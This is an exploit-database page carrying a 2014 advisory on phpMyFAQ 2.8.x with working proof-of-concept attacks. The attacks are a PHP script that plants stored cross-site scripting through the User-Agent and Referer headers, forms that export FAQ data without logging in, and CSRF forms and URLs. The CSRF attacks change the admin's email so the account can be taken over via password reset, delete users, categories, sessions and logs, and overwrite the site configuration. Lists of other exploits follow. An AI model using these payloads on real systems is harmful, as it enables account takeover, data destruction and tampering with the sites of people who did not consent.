Menu

Search for hundreds of thousands of exploits

"phpMyFAQ 2.8.x - Multiple Vulnerabilities"

Author

Exploit author

smash

Platform

Exploit platform

php

Release date

Exploit published date

2014-09-08

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
#Title: phpMyFAQ 2.8.X - Multiple Vulnerabilities
#Vendor: phpmyfaq.de
#Date: 04.09.19
#Version: >= 2.8.12 (Latest ATM)
#Tested on: Apache 2.2 / PHP 5.4 / Linux
#Contact: smash [at] devilteam.pl
 
 
1) Persistent XSS
 
Administrator is able to view information about specific user session in 'Statistic' tab. Over there, you may find informations such as user ip, refferer and user agent.
 
For example, to view informations about session with ID 1, you need visit following address:
http://localhost/phpmyfaq/admin/?action=viewsession&id=1
 
Refferer and User Agent variables are not filtered, which allows attacker to inject javascript via those parameters. All you need to do, is to perform particular HTTP request which will contain javascript. For example, if you will produce hundrends of those request, there will be hundrends of Persistent XSS - Victim only needs to visit any of them.
 
PoC:
 
<?php
  
$ch =curl_init("http://localhost/phpmyfaq/index.php");
curl_setopt($ch,CURLOPT_USERAGENT,'<script>alert(666)</script>');
curl_setopt($ch, CURLOPT_REFERER, '<script>alert(123)</script>');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
  
?>
 
Vuln (viewsession):
 
<tbody>
    <tr>
<td>2014-09-04 02:22:04</td>
<td>new_session (0)</td>
    </tr>
    <tr>
<td>Referer:</td>
<td>
    <a href="<script>alert(123)</script>" target="_blank">
<script>alert(123)</script>    </a>
</td>
    </tr>
    <tr>
<td>Browser:</td>
<td><script>alert(666)</script></td>
    </tr>
    <tr>
<td>IP-Address:</td>
<td>::1</td>
    </tr>
</tbody>
 
 
 
2) Remote FAQ Disclosure
 
Administrator is able to view or download FAQ data using few extensions (xhtml, xml, pdf). Because of no user restrictions, attacker may reproduce this vulnerability to perform those actions even without having an account.
 
 - Download
 
<html>
  <body>
    <form action="http://localhost/phpmyfaq/admin/?action=exportfile" method="POST">
      <input type="hidden" name="catid" value="0" />
      <input type="hidden" name="downwards" value="1" />
      <input type="hidden" name="type" value="xml" />
      <input type="hidden" name="dispos" value="attachment" />
      <input type="hidden" name="submitExport" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
 
 - View
 
<html>
  <body>
    <form action="http://localhost/phpmyfaq/admin/?action=exportfile" method="POST">
      <input type="hidden" name="catid" value="0" />
      <input type="hidden" name="downwards" value="1" />
      <input type="hidden" name="type" value="xml" />
      <input type="hidden" name="dispos" value="inline" />
      <input type="hidden" name="submitExport" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
 
 
 
3) CSRF
 
 - Edit user credentials (login/mail)
 
PoC:
<html>
  <body>
    <form action="http://localhost/phpmyfaq/admin/?action=user&user_action=update_data" method="POST">
      <input type="hidden" name="user_id" value="1" />
      <input type="hidden" name="user_status" value="active" />
      <input type="hidden" name="display_name" value="haked" />
      <input type="hidden" name="email" value="victim@vic.tim" />
      <input type="hidden" name="last_modified" value="undefined" />
      <input type="submit" value="Go" />
    </form>
  </body>
</html>
 
By then, you may generate new password for victim using 'Forgot password' option - just provide your email so you can grab it.
 
 
 - Delete user
 
http://localhost/phpmyfaq/admin/index.php?action=ajax&ajax=user&ajaxaction=delete_user&user_id=1
 
 
 - Delete category
 
http://localhost/phpmyfaq/admin/?action=deletecategory&cat=1&catlang=en
 
 
 - Delete session (month)
 
PoC:
<html>
  <body>
    <form action="http://localhost/phpmyfaq/admin/?action=viewsessions" method="POST">
      <input type="hidden" name="month" value="092014" />
      <input type="hidden" name="statdelete" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
 
 
 - Delete logs older than 30 days
 
http://localhost/phpmyfaq/admin/?action=deleteadminlog
 
 
 - Add stopword
 
http://localhost/phpmyfaq/admin/index.php?action=ajax&ajax=config&ajaxaction=save_stop_word&stopword=lolwut&stopwords_lang=en
 
 
 - Edit configuration
 
Affected:
Main configuration
FAQ records configuration
Search
Security configuration
Spam control center
Social network configuration
 
PoC:
 
<html>
  <body>
    <form action="http://localhost/phpmyfaq/admin/?action=config&config_action=saveConfig" method="POST">
      <input type="hidden" name="edit[main.language]" value="language_en.php" />
      <input type="hidden" name="edit[main.languageDetection]" value="true" />
      <input type="hidden" name="edit[main.titleFAQ]" value="phpMyFAQ Codename Perdita" />
      <input type="hidden" name="edit[main.currentVersion]" value="2.8.12" />
      <input type="hidden" name="edit[main.metaDescription]" value="lolwat" />
      <input type="hidden" name="edit[main.metaKeywords]" value="" />
      <input type="hidden" name="edit[main.metaPublisher]" value="Whatever" />
      <input type="hidden" name="edit[main.administrationMail]" value="what@ever.com" />
      <input type="hidden" name="edit[main.contactInformations]" value="" />
      <input type="hidden" name="edit[main.send2friendText]" value="" />
      <input type="hidden" name="edit[main.enableUserTracking]" value="true" />
      <input type="hidden" name="edit[main.enableAdminLog]" value="true" />
      <input type="hidden" name="edit[main.referenceURL]" value="http://localhost/phpmyfaq" />
      <input type="hidden" name="edit[main.urlValidateInterval]" value="86400" />
      <input type="hidden" name="edit[main.enableWysiwygEditor]" value="true" />
      <input type="hidden" name="edit[main.templateSet]" value="default" />
      <input type="hidden" name="edit[main.dateFormat]" value="Y-m-d H:i" />
      <input type="hidden" name="edit[records.maxAttachmentSize]" value="100000" />
      <input type="hidden" name="edit[records.disableAttachments]" value="true" />
      <input type="hidden" name="edit[records.numberOfRecordsPerPage]" value="10" />
      <input type="hidden" name="edit[records.numberOfShownNewsEntries]" value="3" />
      <input type="hidden" name="edit[records.numberOfRelatedArticles]" value="5" />
      <input type="hidden" name="edit[records.orderby]" value="id" />
      <input type="hidden" name="edit[records.sortby]" value="DESC" />
      <input type="hidden" name="edit[records.attachmentsPath]" value="attachments" />
      <input type="hidden" name="edit[records.defaultAttachmentEncKey]" value="" />
      <input type="hidden" name="edit[records.orderingPopularFaqs]" value="visits" />
      <input type="hidden" name="edit[records.autosaveSecs]" value="180" />
      <input type="hidden" name="edit[search.numberSearchTerms]" value="10" />
      <input type="hidden" name="edit[search.relevance]" value="thema,content,keywords" />
      <input type="hidden" name="edit[security.bannedIPs]" value="" />
      <input type="hidden" name="edit[security.permLevel]" value="basic" />
      <input type="hidden" name="edit[security.ssoLogoutRedirect]" value="" />
      <input type="hidden" name="edit[spam.enableSafeEmail]" value="true" />
      <input type="hidden" name="edit[spam.checkBannedWords]" value="true" />
      <input type="hidden" name="edit[spam.enableCaptchaCode]" value="true" />
      <input type="hidden" name="edit[socialnetworks.twitterConsumerKey]" value="" />
      <input type="hidden" name="edit[socialnetworks.twitterConsumerSecret]" value="" />
      <input type="hidden" name="edit[socialnetworks.twitterAccessTokenKey]" value="" />
      <input type="hidden" name="edit[socialnetworks.twitterAccessTokenSecret]" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2015-09-01 "Edimax BR6228nS/BR6228nC - Multiple Vulnerabilities" webapps hardware smash
2015-08-31 "PhpWiki 1.5.4 - Multiple Vulnerabilities" webapps php smash
2015-08-31 "Edimax PS-1206MF - Web Admin Authentication Bypass" webapps hardware smash
2015-08-28 "Pluck CMS 4.7.3 - Multiple Vulnerabilities" webapps php smash
2015-08-28 "Jenkins 1.626 - Cross-Site Request Forgery / Code Execution" webapps java smash
2014-11-13 "MyBB 1.8.x - Multiple Vulnerabilities" webapps php smash
2014-09-08 "TP-Link TL-WR841N / TL-WR841ND - Multiple Vulnerabilities" webapps hardware smash
2014-09-08 "Atmail Webmail 7.2 - Multiple Vulnerabilities" webapps php smash
2014-09-08 "TP-Link TL-WR340G / TL-WR340GD - Multiple Vulnerabilities" webapps hardware smash
2014-09-08 "osCommerce 2.3.4 - Multiple Vulnerabilities" webapps php smash
2014-09-08 "Zen Cart 1.5.3 - Multiple Vulnerabilities" webapps php smash
2014-09-08 "vBulletin 5.1.x - Persistent Cross-Site Scripting" webapps php smash
2014-09-08 "phpMyFAQ 2.8.x - Multiple Vulnerabilities" webapps php smash
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.